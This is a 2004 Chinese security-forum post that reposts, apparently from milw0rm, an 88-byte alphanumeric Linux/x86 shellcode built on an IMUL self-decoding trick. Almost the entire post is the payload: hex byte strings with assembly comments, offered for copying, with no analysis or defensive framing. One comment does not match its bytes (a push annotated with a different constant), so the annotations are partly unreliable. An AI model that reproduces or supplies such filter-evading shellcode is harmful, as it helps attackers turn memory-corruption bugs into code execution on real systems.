‹‹ 上一主题 | 下一主题 ››
发新话题
打印

linux/x86 alpha-numeric using IMUL Method shellcode 88 bytes

冰血封情

团队决策人

Rank: 9Rank: 9Rank: 9

E.S.T运营责任人

帖子
6818 
精华
835 
积分
36108 
阅读权限
255 
性别
男 
来自
中国 
在线时间
577 小时 
注册时间
2004-6-25 
最后登录
2008-7-8 

优秀管理奖 资料收集奖 原创技术奖 核心建议奖

楼主 大 中 小 发表于 2004-12-24 17:23  只看该作者

linux/x86 alpha-numeric using IMUL Method shellcode 88 bytes

文章作者：XORt
复制内容到剪贴板
代码:
    /*-----------------------------------------------------*/
    /*    Alpha-Numeric Shellcode using IMUL Method     */
    /*        By XORt@dallas_2600)          88bytes */
    /*-----------------------------------------------------*/
    "\x68\x69\x58\x69\x6b" /* push $0x6b695869         */
    "\x68\x7a\x36\x37\x70" /* push $0x7037367a         */
    "\x68\x58\x58\x41\x73" /* push $0x73415858         */
    "\x68\x71\x4a\x77\x79" /* push $0x79774a71         */
    "\x68\x65\x77\x57\x31" /* push $0x31577765         */
    "\x68\x42\x69\x57\x77" /* push $0x6850c031         */
    "\x50\x50\x50\x50\x50" /* 17 push %eax's          */
    "\x50\x50\x50\x50\x50" /*                    */
    "\x50\x50\x50\x50\x50" /*                    */
    "\x50\x50"         /*                    */
    "\x54"            /* push %esp              */
    "\x59"            /* pop %ecx              */
    "\x6b\x51\x58\x57"    /* imul $0x57, 0x58(%ecx), %edx */
    "\x42"            /* inc %edx              */
    "\x52"            /* push %edx              */
    "\x6b\x41\x54\x78"    /* imul $0x78, 0x54(%ecx), %edx */
    "\x34\x63"         /* xor $0x63, %al          */
    "\x50"            /* push %eax              */
    "\x6b\x51\x50\x4a"    /* imul $0x4a, 0x50(%ecx), %edx */
    "\x4a"            /* dec %edx              */
    "\x4a"            /* dec %edx              */
    "\x52"            /* push %edx              */
    "\x6b\x51\x4c\x79"    /* imul $0x79, 0x4c(%ecx), %edx */
    "\x4a"            /* dec %edx              */
    "\x52"            /* push %edx              */
    "\x6b\x41\x48\x36"    /* imul $0x36, 0x48(%ecx), %edx */
    "\x34\x61"         /* xor $0x61, %al          */
    "\x50"            /* push %eax              */
    "\x6b\x51\x44\x79"    /* imul $0x79, 0x44(%ecx), %edx */
    "\x4a"            /* dec %edx              */
    "\x52"            /* push %edx              */
    /*------------------------------------------[bytes:88]-*/

//milw0rm.com

TOP

‹‹ 上一主题 | 下一主题 ››
发新话题